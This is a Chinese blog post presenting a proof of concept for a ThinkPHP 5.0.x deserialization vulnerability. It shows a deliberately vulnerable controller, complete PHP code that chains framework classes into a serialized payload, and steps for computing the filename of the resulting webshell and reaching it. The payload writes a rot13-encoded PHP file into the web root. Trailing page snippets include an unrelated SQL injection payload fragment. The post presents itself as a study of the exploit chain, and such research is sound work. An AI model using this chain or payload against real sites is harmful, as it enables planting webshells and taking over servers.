ThinkPHP 5.0.x 反序列化漏洞 PoC

因为写入的文件名包含特殊符号,所以该漏洞只能在Linux中写入webshell,不能在Windows系统写入。这个漏洞的重点在于体会ThinkPHP的反序列化利用链

演示环境:

Kali、ThinkPHP/5.0.24

演示代码:

application/index/controller/Index.php

1<?php 2namespace appindexcontroller; 3class Index { 4 public function index($input='') { 5 echo "Welcome thinkphp 5.0.24"; 6 echo $input; 7 unserialize($input); 8 } 9}

PoC:

1<?php 2//File类 3namespace think\cache\driver; 4class File { 5 // tag变量跟文件名有关 protected $tag='abcdef'; 6 protected $options = [ 7 'expire' => 3600, 8 'cache_subdir' => false, 9 'prefix' => '', // 写入文件 10 'path' => 'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>', 11 // 创建子目录 /* 'path' => './static/3a6c45/', */ 12 'data_compress' => false, 13 ]; 14} 15 16//Memcached类 17namespace think\session\driver; 18use think\cache\driver\File; 19class Memcached { 20 protected $handler = null; 21 function __construct() { 22 $this->handler=new File(); 23 } 24} 25 26//Output类 27namespace think\console; 28use think\session\driver\Memcached; 29class Output { 30 protected $styles = ['removeWhereField']; 31 private $handle = null; 32 function __construct() { 33 $this->handle=new Memcached(); 34 } 35} 36 37//HasOne类 38namespace think\model\relation; 39use think\console\Output; 40class HasOne { 41 protected $query = false; 42 function __construct() { 43 $this->query=new Output(); 44 } 45} 46 47//Pivot类 48namespace think\model; 49use think\model\relation\HasOne; 50class Pivot { 51 protected $append = ['getError']; 52 protected $error = false; 53 public function __construct() { 54 $this->error=new HasOne(); 55 } 56} 57 58//Windows类 59namespace think\process\pipes; 60use think\model\Pivot; 61class Windows { 62 private $files = []; 63 public function __construct() { 64 $this->files=[new Pivot()]; 65 } 66} 67 68$x=new Windows(); 69echo str_replace('+', '%20', urlencode(serialize($x)));

webshell的写入路径为:网站根目录/public/static/<?cuc cucvasb();?>md5(‘tag_’+md5($tag))。

如:$tag='abcdef',则文件名为:md5('abcdef') -> e80b5017098950fc58aad83c8c14978e -> md5(‘tag_e80b5017098950fc58aad83c8c14978e’) -> <?cuc cucvasb();?>468bc8d30505000a2d7d24702b2cda94.php

访问webshell时要对文件名进行URL编码。

参考链接:

《ThinkPHP v5.0.x 反序列化利用链挖掘》https://www.anquanke.com/post/id/196364

《ThinkPHP5.0.x反序列化利用链》https://xz.aliyun.com/t/7082

《ThinkPHP v5.0.x反序列化 Pop Chain复现(附POC)》https://drivertom.blogspot.com/2020/01/thinkphp-v50x-pop-chainpoc.html

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

sql注入

反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o